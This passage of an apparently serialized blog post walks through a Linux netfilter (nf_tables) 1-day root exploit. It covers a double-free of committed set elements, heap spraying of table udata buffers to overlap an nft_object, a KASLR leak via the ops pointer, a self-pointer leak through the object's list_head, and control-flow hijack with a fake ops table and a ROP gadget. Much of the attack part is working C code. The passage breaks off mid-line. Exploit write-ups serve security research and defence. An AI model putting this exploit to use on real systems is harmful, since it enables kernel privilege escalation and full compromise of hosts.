",{"type":26,"tag":475,"props":54636,"children":54637},{"style":629},[54638],{"type":32,"value":54353},{"type":26,"tag":475,"props":54640,"children":54641},{"style":499},[54642],{"type":32,"value":637},{"type":26,"tag":475,"props":54644,"children":54645},{"style":903},[54646],{"type":32,"value":54362},{"type":26,"tag":475,"props":54648,"children":54649},{"style":499},[54650],{"type":32,"value":3533},{"type":26,"tag":475,"props":54652,"children":54653},{"class":477,"line":1172},[54654,54658,54662,54666,54670,54674,54679,54683],{"type":26,"tag":475,"props":54655,"children":54656},{"style":493},[54657],{"type":32,"value":54613},{"type":26,"tag":475,"props":54659,"children":54660},{"style":499},[54661],{"type":32,"value":626},{"type":26,"tag":475,"props":54663,"children":54664},{"style":2375},[54665],{"type":32,"value":51755},{"type":26,"tag":475,"props":54667,"children":54668},{"style":499},[54669],{"type":32,"value":3440},{"type":26,"tag":475,"props":54671,"children":54672},{"style":903},[54673],{"type":32,"value":17002},{"type":26,"tag":475,"props":54675,"children":54676},{"style":499},[54677],{"type":32,"value":54678},"], NFTNL_SET_ELEM_KEY, ",{"type":26,"tag":475,"props":54680,"children":54681},{"style":714},[54682],{"type":32,"value":2816},{"type":26,"tag":475,"props":54684,"children":54685},{"style":499},[54686],{"type":32,"value":54395},{"type":26,"tag":475,"props":54688,"children":54689},{"class":477,"line":1181},[54690,54695,54699,54703,54707,54711],{"type":26,"tag":475,"props":54691,"children":54692},{"style":493},[54693],{"type":32,"value":54694}," nftnl_set_elem_add",{"type":26,"tag":475,"props":54696,"children":54697},{"style":499},[54698],{"type":32,"value":54437},{"type":26,"tag":475,"props":54700,"children":54701},{"style":2375},[54702],{"type":32,"value":51755},{"type":26,"tag":475,"props":54704,"children":54705},{"style":499},[54706],{"type":32,"value":3440},{"type":26,"tag":475,"props":54708,"children":54709},{"style":903},[54710],{"type":32,"value":17002},{"type":26,"tag":475,"props":54712,"children":54713},{"style":499},[54714],{"type":32,"value":3459},{"type":26,"tag":475,"props":54716,"children":54717},{"class":477,"line":1189},[54718],{"type":26,"tag":475,"props":54719,"children":54720},{"style":499},[54721],{"type":32,"value":2219},{"type":26,"tag":475,"props":54723,"children":54724},{"class":477,"line":1221},[54725],{"type":26,"tag":475,"props":54726,"children":54727},{"emptyLinePlaceholder":18},[54728],{"type":32,"value":545},{"type":26,"tag":475,"props":54730,"children":54731},{"class":477,"line":1848},[54732],{"type":26,"tag":475,"props":54733,"children":54734},{"style":499},[54735],{"type":32,"value":54736}," // double-free commited elems\n",{"type":26,"tag":475,"props":54738,"children":54739},{"class":477,"line":1857},[54740],{"type":26,"tag":475,"props":54741,"children":54742},{"style":499},[54743],{"type":32,"value":2219},{"type":26,"tag":475,"props":54745,"children":54746},{"class":477,"line":1866},[54747,54752,54756],{"type":26,"tag":475,"props":54748,"children":54749},{"style":499},[54750],{"type":32,"value":54751}," nftnl_set_free(",{"type":26,"tag":475,"props":54753,"children":54754},{"style":505},[54755],{"type":32,"value":50711},{"type":26,"tag":475,"props":54757,"children":54758},{"style":499},[54759],{"type":32,"value":3533},{"type":26,"tag":475,"props":54761,"children":54762},{"class":477,"line":1875},[54763],{"type":26,"tag":475,"props":54764,"children":54765},{"style":499},[54766],{"type":32,"value":3607},{"type":26,"tag":475,"props":54768,"children":54769},{"class":477,"line":1883},[54770],{"type":26,"tag":475,"props":54771,"children":54772},{"style":499},[54773],{"type":32,"value":2219},{"type":26,"tag":41,"props":54775,"children":54777},{"id":54776},"leaking-kaslr",[54778],{"type":32,"value":54779},"Leaking KASLR",{"type":26,"tag":35,"props":54781,"children":54782},{},[54783,54785,54791,54793,54798,54800,54806,54808,54814,54816],{"type":32,"value":54784},"Tables contain an outline user data buffer ",{"type":26,"tag":53,"props":54786,"children":54788},{"className":54787},[],[54789],{"type":32,"value":54790},"udata",{"type":32,"value":54792}," that we can both read and write. By allocating a ",{"type":26,"tag":53,"props":54794,"children":54796},{"className":54795},[],[54797],{"type":32,"value":54790},{"type":32,"value":54799}," buffer on the double-free slot and then overlapping it with an ",{"type":26,"tag":53,"props":54801,"children":54803},{"className":54802},[],[54804],{"type":32,"value":54805},"nft_object",{"type":32,"value":54807}," we can leak the ",{"type":26,"tag":53,"props":54809,"children":54811},{"className":54810},[],[54812],{"type":32,"value":54813},"->ops",{"type":32,"value":54815}," pointer, and use it to calculate the KASLR slide.\n",{"type":26,"tag":132,"props":54817,"children":54819},{"alt":134,"src":54818},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":26,"tag":465,"props":54821,"children":54823},{"className":28812,"code":54822,"language":28814,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[54824],{"type":26,"tag":53,"props":54825,"children":54826},{"__ignoreMap":7},[54827,54834,54842,54877,54884,54892,54917,54944,54995,55002,55035,55061,55068,55133,55140,55161,55168,55175,55183,55191,55212,55241,55253,55297,55353],{"type":26,"tag":475,"props":54828,"children":54829},{"class":477,"line":478},[54830],{"type":26,"tag":475,"props":54831,"children":54832},{"style":499},[54833],{"type":32,"value":2219},{"type":26,"tag":475,"props":54835,"children":54836},{"class":477,"line":516},[54837],{"type":26,"tag":475,"props":54838,"children":54839},{"style":499},[54840],{"type":32,"value":54841}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":26,"tag":475,"props":54843,"children":54844},{"class":477,"line":539},[54845,54850,54854,54859,54864,54869,54873],{"type":26,"tag":475,"props":54846,"children":54847},{"style":499},[54848],{"type":32,"value":54849}," udata_spray(",{"type":26,"tag":475,"props":54851,"children":54852},{"style":505},[54853],{"type":32,"value":53981},{"type":26,"tag":475,"props":54855,"children":54856},{"style":499},[54857],{"type":32,"value":54858},", 0",{"type":26,"tag":475,"props":54860,"children":54861},{"style":505},[54862],{"type":32,"value":54863},"xe8",{"type":26,"tag":475,"props":54865,"children":54866},{"style":499},[54867],{"type":32,"value":54868},", 0, 3, ",{"type":26,"tag":475,"props":54870,"children":54871},{"style":505},[54872],{"type":32,"value":54187},{"type":26,"tag":475,"props":54874,"children":54875},{"style":499},[54876],{"type":32,"value":3533},{"type":26,"tag":475,"props":54878,"children":54879},{"class":477,"line":548},[54880],{"type":26,"tag":475,"props":54881,"children":54882},{"emptyLinePlaceholder":18},[54883],{"type":32,"value":545},{"type":26,"tag":475,"props":54885,"children":54886},{"class":477,"line":558},[54887],{"type":26,"tag":475,"props":54888,"children":54889},{"style":552},[54890],{"type":32,"value":54891}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":26,"tag":475,"props":54893,"children":54894},{"class":477,"line":582},[54895,54900,54905,54909,54913],{"type":26,"tag":475,"props":54896,"children":54897},{"style":482},[54898],{"type":32,"value":54899}," char",{"type":26,"tag":475,"props":54901,"children":54902},{"style":2375},[54903],{"type":32,"value":54904}," spray_name",{"type":26,"tag":475,"props":54906,"children":54907},{"style":499},[54908],{"type":32,"value":3440},{"type":26,"tag":475,"props":54910,"children":54911},{"style":903},[54912],{"type":32,"value":40535},{"type":26,"tag":475,"props":54914,"children":54915},{"style":499},[54916],{"type":32,"value":31274},{"type":26,"tag":475,"props":54918,"children":54919},{"class":477,"line":596},[54920,54924,54928,54932,54936,54940],{"type":26,"tag":475,"props":54921,"children":54922},{"style":482},[54923],{"type":32,"value":54899},{"type":26,"tag":475,"props":54925,"children":54926},{"style":714},[54927],{"type":32,"value":9525},{"type":26,"tag":475,"props":54929,"children":54930},{"style":2375},[54931],{"type":32,"value":54790},{"type":26,"tag":475,"props":54933,"children":54934},{"style":499},[54935],{"type":32,"value":3440},{"type":26,"tag":475,"props":54937,"children":54938},{"style":903},[54939],{"type":32,"value":17002},{"type":26,"tag":475,"props":54941,"children":54942},{"style":499},[54943],{"type":32,"value":31274},{"type":26,"tag":475,"props":54945,"children":54946},{"class":477,"line":610},[54947,54951,54955,54959,54963,54967,54971,54975,54979,54983,54987,54991],{"type":26,"tag":475,"props":54948,"children":54949},{"style":586},[54950],{"type":32,"value":2737},{"type":26,"tag":475,"props":54952,"children":54953},{"style":499},[54954],{"type":32,"value":2775},{"type":26,"tag":475,"props":54956,"children":54957},{"style":482},[54958],{"type":32,"value":18755},{"type":26,"tag":475,"props":54960,"children":54961},{"style":499},[54962],{"type":32,"value":54235},{"type":26,"tag":475,"props":54964,"children":54965},{"style":714},[54966],{"type":32,"value":786},{"type":26,"tag":475,"props":54968,"children":54969},{"style":903},[54970],{"type":32,"value":2752},{"type":26,"tag":475,"props":54972,"children":54973},{"style":499},[54974],{"type":32,"value":50925},{"type":26,"tag":475,"props":54976,"children":54977},{"style":714},[54978],{"type":32,"value":5519},{"type":26,"tag":475,"props":54980,"children":54981},{"style":903},[54982],{"type":32,"value":18807},{"type":26,"tag":475,"props":54984,"children":54985},{"style":499},[54986],{"type":32,"value":50956},{"type":26,"tag":475,"props":54988,"children":54989},{"style":714},[54990],{"type":32,"value":50961},{"type":26,"tag":475,"props":54992,"children":54993},{"style":499},[54994],{"type":32,"value":647},{"type":26,"tag":475,"props":54996,"children":54997},{"class":477,"line":650},[54998],{"type":26,"tag":475,"props":54999,"children":55000},{"style":499},[55001],{"type":32,"value":28889},{"type":26,"tag":475,"props":55003,"children":55004},{"class":477,"line":679},[55005,55010,55015,55020,55025,55030],{"type":26,"tag":475,"props":55006,"children":55007},{"style":493},[55008],{"type":32,"value":55009}," snprintf",{"type":26,"tag":475,"props":55011,"children":55012},{"style":499},[55013],{"type":32,"value":55014},"(spray_name, ",{"type":26,"tag":475,"props":55016,"children":55017},{"style":482},[55018],{"type":32,"value":55019},"sizeof",{"type":26,"tag":475,"props":55021,"children":55022},{"style":499},[55023],{"type":32,"value":55024},"(spray_name), ",{"type":26,"tag":475,"props":55026,"children":55027},{"style":629},[55028],{"type":32,"value":55029},"\"spray-%i\"",{"type":26,"tag":475,"props":55031,"children":55032},{"style":499},[55033],{"type":32,"value":55034},", i);\n",{"type":26,"tag":475,"props":55036,"children":55037},{"class":477,"line":735},[55038,55043,55047,55051,55056],{"type":26,"tag":475,"props":55039,"children":55040},{"style":2375},[55041],{"type":32,"value":55042}," udata",{"type":26,"tag":475,"props":55044,"children":55045},{"style":499},[55046],{"type":32,"value":54287},{"type":26,"tag":475,"props":55048,"children":55049},{"style":714},[55050],{"type":32,"value":786},{"type":26,"tag":475,"props":55052,"children":55053},{"style":493},[55054],{"type":32,"value":55055}," getudata",{"type":26,"tag":475,"props":55057,"children":55058},{"style":499},[55059],{"type":32,"value":55060},"(nl, spray_name);\n",{"type":26,"tag":475,"props":55062,"children":55063},{"class":477,"line":744},[55064],{"type":26,"tag":475,"props":55065,"children":55066},{"style":499},[55067],{"type":32,"value":851},{"type":26,"tag":475,"props":55069,"children":55070},{"class":477,"line":753},[55071,55075,55079,55083,55087,55091,55095,55099,55103,55107,55112,55116,55120,55124,55128],{"type":26,"tag":475,"props":55072,"children":55073},{"style":586},[55074],{"type":32,"value":11988},{"type":26,"tag":475,"props":55076,"children":55077},{"style":499},[55078],{"type":32,"value":2775},{"type":26,"tag":475,"props":55080,"children":55081},{"style":2375},[55082],{"type":32,"value":54790},{"type":26,"tag":475,"props":55084,"children":55085},{"style":499},[55086],{"type":32,"value":3440},{"type":26,"tag":475,"props":55088,"children":55089},{"style":903},[55090],{"type":32,"value":3732},{"type":26,"tag":475,"props":55092,"children":55093},{"style":499},[55094],{"type":32,"value":48650},{"type":26,"tag":475,"props":55096,"children":55097},{"style":903},[55098],{"type":32,"value":3732},{"type":26,"tag":475,"props":55100,"children":55101},{"style":499},[55102],{"type":32,"value":1699},{"type":26,"tag":475,"props":55104,"children":55105},{"style":714},[55106],{"type":32,"value":8287},{"type":26,"tag":475,"props":55108,"children":55109},{"style":2375},[55110],{"type":32,"value":55111}," udata",{"type":26,"tag":475,"props":55113,"children":55114},{"style":499},[55115],{"type":32,"value":3440},{"type":26,"tag":475,"props":55117,"children":55118},{"style":903},[55119],{"type":32,"value":2830},{"type":26,"tag":475,"props":55121,"children":55122},{"style":499},[55123],{"type":32,"value":48650},{"type":26,"tag":475,"props":55125,"children":55126},{"style":903},[55127],{"type":32,"value":3732},{"type":26,"tag":475,"props":55129,"children":55130},{"style":499},[55131],{"type":32,"value":55132},"])\n",{"type":26,"tag":475,"props":55134,"children":55135},{"class":477,"line":761},[55136],{"type":26,"tag":475,"props":55137,"children":55138},{"style":499},[55139],{"type":32,"value":28889},{"type":26,"tag":475,"props":55141,"children":55142},{"class":477,"line":770},[55143,55148,55152,55157],{"type":26,"tag":475,"props":55144,"children":55145},{"style":493},[55146],{"type":32,"value":55147}," puts",{"type":26,"tag":475,"props":55149,"children":55150},{"style":499},[55151],{"type":32,"value":626},{"type":26,"tag":475,"props":55153,"children":55154},{"style":629},[55155],{"type":32,"value":55156},"\"[+] got duplicated table\"",{"type":26,"tag":475,"props":55158,"children":55159},{"style":499},[55160],{"type":32,"value":3533},{"type":26,"tag":475,"props":55162,"children":55163},{"class":477,"line":794},[55164],{"type":26,"tag":475,"props":55165,"children":55166},{"style":499},[55167],{"type":32,"value":851},{"type":26,"tag":475,"props":55169,"children":55170},{"class":477,"line":831},[55171],{"type":26,"tag":475,"props":55172,"children":55173},{"emptyLinePlaceholder":18},[55174],{"type":32,"value":545},{"type":26,"tag":475,"props":55176,"children":55177},{"class":477,"line":845},[55178],{"type":26,"tag":475,"props":55179,"children":55180},{"style":552},[55181],{"type":32,"value":55182}," // Replace one of the udata buffers with nft_object\n",{"type":26,"tag":475,"props":55184,"children":55185},{"class":477,"line":854},[55186],{"type":26,"tag":475,"props":55187,"children":55188},{"style":552},[55189],{"type":32,"value":55190}," // and read it's counterpart to leak the nft_object struct\n",{"type":26,"tag":475,"props":55192,"children":55193},{"class":477,"line":862},[55194,55199,55203,55208],{"type":26,"tag":475,"props":55195,"children":55196},{"style":493},[55197],{"type":32,"value":55198}," puts",{"type":26,"tag":475,"props":55200,"children":55201},{"style":499},[55202],{"type":32,"value":626},{"type":26,"tag":475,"props":55204,"children":55205},{"style":629},[55206],{"type":32,"value":55207},"\"[*] Info leak\"",{"type":26,"tag":475,"props":55209,"children":55210},{"style":499},[55211],{"type":32,"value":3533},{"type":26,"tag":475,"props":55213,"children":55214},{"class":477,"line":885},[55215,55220,55225,55229,55233,55237],{"type":26,"tag":475,"props":55216,"children":55217},{"style":493},[55218],{"type":32,"value":55219}," deludata_spray",{"type":26,"tag":475,"props":55221,"children":55222},{"style":499},[55223],{"type":32,"value":55224},"(nl, ",{"type":26,"tag":475,"props":55226,"children":55227},{"style":903},[55228],{"type":32,"value":3732},{"type":26,"tag":475,"props":55230,"children":55231},{"style":499},[55232],{"type":32,"value":637},{"type":26,"tag":475,"props":55234,"children":55235},{"style":903},[55236],{"type":32,"value":3722},{"type":26,"tag":475,"props":55238,"children":55239},{"style":499},[55240],{"type":32,"value":3533},{"type":26,"tag":475,"props":55242,"children":55243},{"class":477,"line":913},[55244,55249],{"type":26,"tag":475,"props":55245,"children":55246},{"style":493},[55247],{"type":32,"value":55248}," wait_destroyer",{"type":26,"tag":475,"props":55250,"children":55251},{"style":499},[55252],{"type":32,"value":3376},{"type":26,"tag":475,"props":55254,"children":55255},{"class":477,"line":926},[55256,55261,55265,55269,55273,55277,55281,55285,55289,55293],{"type":26,"tag":475,"props":55257,"children":55258},{"style":493},[55259],{"type":32,"value":55260}," obj_spray",{"type":26,"tag":475,"props":55262,"children":55263},{"style":499},[55264],{"type":32,"value":55224},{"type":26,"tag":475,"props":55266,"children":55267},{"style":903},[55268],{"type":32,"value":3732},{"type":26,"tag":475,"props":55270,"children":55271},{"style":499},[55272],{"type":32,"value":637},{"type":26,"tag":475,"props":55274,"children":55275},{"style":903},[55276],{"type":32,"value":3722},{"type":26,"tag":475,"props":55278,"children":55279},{"style":499},[55280],{"type":32,"value":637},{"type":26,"tag":475,"props":55282,"children":55283},{"style":482},[55284],{"type":32,"value":54187},{"type":26,"tag":475,"props":55286,"children":55287},{"style":499},[55288],{"type":32,"value":637},{"type":26,"tag":475,"props":55290,"children":55291},{"style":903},[55292],{"type":32,"value":3732},{"type":26,"tag":475,"props":55294,"children":55295},{"style":499},[55296],{"type":32,"value":3533},{"type":26,"tag":475,"props":55298,"children":55299},{"class":477,"line":948},[55300,55305,55309,55314,55318,55322,55327,55331,55335,55340,55344,55349],{"type":26,"tag":475,"props":55301,"children":55302},{"style":482},[55303],{"type":32,"value":55304}," uint64_t",{"type":26,"tag":475,"props":55306,"children":55307},{"style":714},[55308],{"type":32,"value":9525},{"type":26,"tag":475,"props":55310,"children":55311},{"style":499},[55312],{"type":32,"value":55313},"fake_obj ",{"type":26,"tag":475,"props":55315,"children":55316},{"style":714},[55317],{"type":32,"value":786},{"type":26,"tag":475,"props":55319,"children":55320},{"style":499},[55321],{"type":32,"value":2775},{"type":26,"tag":475,"props":55323,"children":55324},{"style":482},[55325],{"type":32,"value":55326},"uint64_t",{"type":26,"tag":475,"props":55328,"children":55329},{"style":714},[55330],{"type":32,"value":9525},{"type":26,"tag":475,"props":55332,"children":55333},{"style":499},[55334],{"type":32,"value":2835},{"type":26,"tag":475,"props":55336,"children":55337},{"style":493},[55338],{"type":32,"value":55339},"getudata",{"type":26,"tag":475,"props":55341,"children":55342},{"style":499},[55343],{"type":32,"value":55224},{"type":26,"tag":475,"props":55345,"children":55346},{"style":629},[55347],{"type":32,"value":55348},"\"spray-2\"",{"type":26,"tag":475,"props":55350,"children":55351},{"style":499},[55352],{"type":32,"value":3533},{"type":26,"tag":475,"props":55354,"children":55355},{"class":477,"line":966},[55356],{"type":26,"tag":475,"props":55357,"children":55358},{"style":499},[55359],{"type":32,"value":2219},{"type":26,"tag":41,"props":55361,"children":55363},{"id":55362},"leaking-self-pointer-of-nft_object",[55364,55366],{"type":32,"value":55365},"Leaking self pointer of ",{"type":26,"tag":53,"props":55367,"children":55369},{"className":55368},[],[55370],{"type":32,"value":54805},{"type":26,"tag":35,"props":55372,"children":55373},{},[55374,55376,55381,55383,55388,55390,55395,55397,55403],{"type":32,"value":55375},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":26,"tag":53,"props":55377,"children":55379},{"className":55378},[],[55380],{"type":32,"value":54805},{"type":32,"value":55382}," to get its own address. This is possible because the ",{"type":26,"tag":53,"props":55384,"children":55386},{"className":55385},[],[55387],{"type":32,"value":54805},{"type":32,"value":55389}," has a ",{"type":26,"tag":53,"props":55391,"children":55393},{"className":55392},[],[55394],{"type":32,"value":54790},{"type":32,"value":55396}," pointer (similar to ",{"type":26,"tag":53,"props":55398,"children":55400},{"className":55399},[],[55401],{"type":32,"value":55402},"table->udata",{"type":32,"value":55404}," that I used for leaking KASLR), that I can use to read/write data.",{"type":26,"tag":35,"props":55406,"children":55407},{},[55408,55409,55414,55416,55422,55424,55429,55431,55437,55439,55445,55447,55452,55454,55459,55461,55466,55468],{"type":32,"value":16319},{"type":26,"tag":53,"props":55410,"children":55412},{"className":55411},[],[55413],{"type":32,"value":54805},{"type":32,"value":55415}," struct also contains a ",{"type":26,"tag":53,"props":55417,"children":55419},{"className":55418},[],[55420],{"type":32,"value":55421},"list_head",{"type":32,"value":55423}," inserted in a circular list containing all ",{"type":26,"tag":53,"props":55425,"children":55427},{"className":55426},[],[55428],{"type":32,"value":54805},{"type":32,"value":55430},"'s that belong to a given ",{"type":26,"tag":53,"props":55432,"children":55434},{"className":55433},[],[55435],{"type":32,"value":55436},"table",{"type":32,"value":55438},". Considering that our object is currently alone in its table, the ",{"type":26,"tag":53,"props":55440,"children":55442},{"className":55441},[],[55443],{"type":32,"value":55444},"table->list.next",{"type":32,"value":55446}," pointer in the ",{"type":26,"tag":53,"props":55448,"children":55450},{"className":55449},[],[55451],{"type":32,"value":54805},{"type":32,"value":55453}," will point back to the ",{"type":26,"tag":53,"props":55455,"children":55457},{"className":55456},[],[55458],{"type":32,"value":55421},{"type":32,"value":55460}," contained in the ",{"type":26,"tag":53,"props":55462,"children":55464},{"className":55463},[],[55465],{"type":32,"value":55436},{"type":32,"value":55467}," and vice-versa.\n",{"type":26,"tag":132,"props":55469,"children":55471},{"alt":134,"src":55470},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":26,"tag":35,"props":55473,"children":55474},{},[55475,55477,55482,55484,55489,55491,55497,55499,55504,55505,55510,55512,55517,55519,55524],{"type":32,"value":55476},"In short, that means that if we swap the ",{"type":26,"tag":53,"props":55478,"children":55480},{"className":55479},[],[55481],{"type":32,"value":54790},{"type":32,"value":55483}," pointer of the ",{"type":26,"tag":53,"props":55485,"children":55487},{"className":55486},[],[55488],{"type":32,"value":54805},{"type":32,"value":55490}," with its own ",{"type":26,"tag":53,"props":55492,"children":55494},{"className":55493},[],[55495],{"type":32,"value":55496},"list.next",{"type":32,"value":55498}," pointer we should be able to read a pointer back to the ",{"type":26,"tag":53,"props":55500,"children":55502},{"className":55501},[],[55503],{"type":32,"value":54805},{"type":32,"value":52030},{"type":26,"tag":53,"props":55506,"children":55508},{"className":55507},[],[55509],{"type":32,"value":55421},{"type":32,"value":55511}," which is also the start of the ",{"type":26,"tag":53,"props":55513,"children":55515},{"className":55514},[],[55516],{"type":32,"value":54805},{"type":32,"value":55518}," itself.\n",{"type":26,"tag":105,"props":55520,"children":55521},{},[55522],{"type":32,"value":55523},"NOTE:",{"type":32,"value":55525}," This is a novel small trick.",{"type":26,"tag":465,"props":55527,"children":55529},{"className":28812,"code":55528,"language":28814,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55530],{"type":26,"tag":53,"props":55531,"children":55532},{"__ignoreMap":7},[55533,55540,55548,55561,55609,55636,55647,55685,55692,55721,55751],{"type":26,"tag":475,"props":55534,"children":55535},{"class":477,"line":478},[55536],{"type":26,"tag":475,"props":55537,"children":55538},{"style":499},[55539],{"type":32,"value":2219},{"type":26,"tag":475,"props":55541,"children":55542},{"class":477,"line":516},[55543],{"type":26,"tag":475,"props":55544,"children":55545},{"style":499},[55546],{"type":32,"value":55547}," // Leak nft_object ptr using table linked list\n",{"type":26,"tag":475,"props":55549,"children":55550},{"class":477,"line":539},[55551,55556],{"type":26,"tag":475,"props":55552,"children":55553},{"style":499},[55554],{"type":32,"value":55555}," fake_obj[8] = 8;",{"type":26,"tag":475,"props":55557,"children":55558},{"style":552},[55559],{"type":32,"value":55560}," // ulen = 8\n",{"type":26,"tag":475,"props":55562,"children":55563},{"class":477,"line":548},[55564,55569,55573,55578,55582,55586,55591,55595,55599,55604],{"type":26,"tag":475,"props":55565,"children":55566},{"style":2375},[55567],{"type":32,"value":55568}," fake_obj",{"type":26,"tag":475,"props":55570,"children":55571},{"style":499},[55572],{"type":32,"value":3440},{"type":26,"tag":475,"props":55574,"children":55575},{"style":903},[55576],{"type":32,"value":55577},"9",{"type":26,"tag":475,"props":55579,"children":55580},{"style":499},[55581],{"type":32,"value":1699},{"type":26,"tag":475,"props":55583,"children":55584},{"style":714},[55585],{"type":32,"value":786},{"type":26,"tag":475,"props":55587,"children":55588},{"style":2375},[55589],{"type":32,"value":55590}," fake_obj",{"type":26,"tag":475,"props":55592,"children":55593},{"style":499},[55594],{"type":32,"value":3440},{"type":26,"tag":475,"props":55596,"children":55597},{"style":903},[55598],{"type":32,"value":3732},{"type":26,"tag":475,"props":55600,"children":55601},{"style":499},[55602],{"type":32,"value":55603},"];",{"type":26,"tag":475,"props":55605,"children":55606},{"style":552},[55607],{"type":32,"value":55608}," // udata = list->next\n",{"type":26,"tag":475,"props":55610,"children":55611},{"class":477,"line":558},[55612,55616,55620,55624,55628,55632],{"type":26,"tag":475,"props":55613,"children":55614},{"style":493},[55615],{"type":32,"value":55219},{"type":26,"tag":475,"props":55617,"children":55618},{"style":499},[55619],{"type":32,"value":55224},{"type":26,"tag":475,"props":55621,"children":55622},{"style":903},[55623],{"type":32,"value":2830},{"type":26,"tag":475,"props":55625,"children":55626},{"style":499},[55627],{"type":32,"value":637},{"type":26,"tag":475,"props":55629,"children":55630},{"style":903},[55631],{"type":32,"value":3722},{"type":26,"tag":475,"props":55633,"children":55634},{"style":499},[55635],{"type":32,"value":3533},{"type":26,"tag":475,"props":55637,"children":55638},{"class":477,"line":582},[55639,55643],{"type":26,"tag":475,"props":55640,"children":55641},{"style":493},[55642],{"type":32,"value":55248},{"type":26,"tag":475,"props":55644,"children":55645},{"style":499},[55646],{"type":32,"value":3376},{"type":26,"tag":475,"props":55648,"children":55649},{"class":477,"line":596},[55650,55655,55659,55664,55668,55672,55676,55680],{"type":26,"tag":475,"props":55651,"children":55652},{"style":493},[55653],{"type":32,"value":55654}," udata_spray",{"type":26,"tag":475,"props":55656,"children":55657},{"style":499},[55658],{"type":32,"value":55224},{"type":26,"tag":475,"props":55660,"children":55661},{"style":903},[55662],{"type":32,"value":55663},"0xe8",{"type":26,"tag":475,"props":55665,"children":55666},{"style":499},[55667],{"type":32,"value":637},{"type":26,"tag":475,"props":55669,"children":55670},{"style":903},[55671],{"type":32,"value":17002},{"type":26,"tag":475,"props":55673,"children":55674},{"style":499},[55675],{"type":32,"value":637},{"type":26,"tag":475,"props":55677,"children":55678},{"style":903},[55679],{"type":32,"value":3722},{"type":26,"tag":475,"props":55681,"children":55682},{"style":499},[55683],{"type":32,"value":55684},", fake_obj);\n",{"type":26,"tag":475,"props":55686,"children":55687},{"class":477,"line":610},[55688],{"type":26,"tag":475,"props":55689,"children":55690},{"emptyLinePlaceholder":18},[55691],{"type":32,"value":545},{"type":26,"tag":475,"props":55693,"children":55694},{"class":477,"line":650},[55695,55700,55704,55709,55713,55717],{"type":26,"tag":475,"props":55696,"children":55697},{"style":493},[55698],{"type":32,"value":55699}," get_obj",{"type":26,"tag":475,"props":55701,"children":55702},{"style":499},[55703],{"type":32,"value":55224},{"type":26,"tag":475,"props":55705,"children":55706},{"style":629},[55707],{"type":32,"value":55708},"\"spray-0\"",{"type":26,"tag":475,"props":55710,"children":55711},{"style":499},[55712],{"type":32,"value":637},{"type":26,"tag":475,"props":55714,"children":55715},{"style":482},[55716],{"type":32,"value":3703},{"type":26,"tag":475,"props":55718,"children":55719},{"style":499},[55720],{"type":32,"value":3533},{"type":26,"tag":475,"props":55722,"children":55723},{"class":477,"line":679},[55724,55729,55733,55738,55742,55746],{"type":26,"tag":475,"props":55725,"children":55726},{"style":493},[55727],{"type":32,"value":55728}," printf",{"type":26,"tag":475,"props":55730,"children":55731},{"style":499},[55732],{"type":32,"value":626},{"type":26,"tag":475,"props":55734,"children":55735},{"style":629},[55736],{"type":32,"value":55737},"\"[*] nft_object ptr: 0x%lx",{"type":26,"tag":475,"props":55739,"children":55740},{"style":48067},[55741],{"type":32,"value":48070},{"type":26,"tag":475,"props":55743,"children":55744},{"style":629},[55745],{"type":32,"value":727},{"type":26,"tag":475,"props":55747,"children":55748},{"style":499},[55749],{"type":32,"value":55750},", obj_ptr);\n",{"type":26,"tag":475,"props":55752,"children":55753},{"class":477,"line":735},[55754],{"type":26,"tag":475,"props":55755,"children":55756},{"style":499},[55757],{"type":32,"value":2219},{"type":26,"tag":41,"props":55759,"children":55761},{"id":55760},"hijacking-control-flow",[55762],{"type":32,"value":55763},"Hijacking control-flow",{"type":26,"tag":35,"props":55765,"children":55766},{},[55767,55769,55774,55776,55781,55783,55788,55790,55795,55797,55802,55804],{"type":32,"value":55768},"To hijack control-flow, we can use ",{"type":26,"tag":53,"props":55770,"children":55772},{"className":55771},[],[55773],{"type":32,"value":54805},{"type":32,"value":55775}," once again. The ",{"type":26,"tag":53,"props":55777,"children":55779},{"className":55778},[],[55780],{"type":32,"value":54805},{"type":32,"value":55782}," struct has an ",{"type":26,"tag":53,"props":55784,"children":55786},{"className":55785},[],[55787],{"type":32,"value":52361},{"type":32,"value":55789}," pointer to a function pointer table. We can swap the ",{"type":26,"tag":53,"props":55791,"children":55793},{"className":55792},[],[55794],{"type":32,"value":52361},{"type":32,"value":55796}," pointer with the ",{"type":26,"tag":53,"props":55798,"children":55800},{"className":55799},[],[55801],{"type":32,"value":54790},{"type":32,"value":55803}," pointer, taking control of the pointer table.\n",{"type":26,"tag":132,"props":55805,"children":55807},{"alt":134,"src":55806},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":26,"tag":465,"props":55809,"children":55811},{"className":28812,"code":55810,"language":28814,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = 